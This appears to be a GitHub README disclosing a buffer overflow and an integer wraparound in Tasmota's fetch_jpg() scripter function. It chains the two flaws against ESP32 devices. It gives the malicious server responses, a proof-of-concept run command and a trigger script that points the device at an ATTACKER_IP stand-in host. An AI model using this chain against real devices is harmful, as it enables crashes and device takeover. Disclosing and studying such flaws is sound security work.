sermikr0/CVE-2026-38422
GitHub: sermikr0/CVE-2026-38422
Stars: 0 | Forks: 0
# CVE-2026-38422: Remote Code Execution via Combined Buffer Overflows in Tasmota fetch_jpg()
**CVE:** CVE-2026-38422
**Severity:** Critical (CVSS 9.8)
**Product:** Arendst Tasmota
**Affected Version:** <= 15.3.0.3
**File:** `tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino`
**Function:** `fetch_jpg()`
**Author:** Saidakbarxon Maxsudxonov
**Disclosure:** Responsible — reported to Tasmota before publication
## Summary
The `fetch_jpg()` function in Tasmota's scripter driver (`xdrv_10_scripter.ino`) contains two compounding memory corruption vulnerabilities that together enable remote code execution on ESP32-based devices running Tasmota <= 15.3.0.3:
1. **Phase 1 (case 0):** `strcpy()` overflow into a fixed 40-byte `boundary[]` buffer — corrupts adjacent heap memory including `WiFiClient`/`HTTPClient` vtable pointers (see also CVE-2026-38426)
2. **Phase 2 (case 2):** `uint16_t` integer wraparound on `Content-Length` — allocates undersized buffer causing stream state corruption (see also CVE-2026-38427)
Used together in a single attack session, these two primitives maximize heap corruption and significantly increase the probability of achieving arbitrary code execution.
## Vulnerability Chain
Attacker MJPEG Server
│
│ Phase 1: HTTP 200 response with long boundary string
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
│ → strcpy(boundary[40], 50_chars) → OVERFLOW
│ → WiFiClient vtable ptr partially overwritten
▼
ESP32 Heap Corrupted
│
│ Phase 2: MJPEG frame with Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (wraparound)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes remain in stream → heap/stream corruption
▼
Double Corruption → RCE / Guaranteed DoS
## Proof of Concept
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
The PoC server:
1. Accepts connection from Tasmota (`fetchjp()` trigger)
2. **Phase 1:** Sends initial HTTP 200 with boundary string of 80 chars (overflow)
3. **Phase 2:** Sends MJPEG frames with `Content-Length: 65537` (wraparound)
See [CVE-2026-38422_poc.py](CVE-2026-38422_poc.py) for full implementation.
## Trigger via Tasmota Script
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
The device must be running a Tasmota script using `fetchjp()`. The attacker controls the server the device connects to (or performs MITM on an existing connection).
## Impact
- **Confidentiality:** High — RCE on ESP32, access to device secrets/credentials
- **Integrity:** High — full device takeover
- **Availability:** High — guaranteed crash/reboot loop
- **Attack Vector:** Network (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **CVSS Score:** 9.8 Critical
## Affected Devices
## Timeline
- **2026-03-29:** Both vulnerabilities discovered and reported to MITRE
- **2026-03-29:** CVE-2026-38422 assigned
- **2026-05-xx:** Patch released by Tasmota (v15.3.0.4+)
## References
- [Tasmota GitHub](https://github.com/arendst/Tasmota)
- [xdrv_10_scripter.ino](https://github.com/arendst/Tasmota/blob/development/tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino)
- CVE-2026-38422
- Related: CVE-2026-38426 (strcpy overflow)
- Related: CVE-2026-38427 (uint16_t wraparound)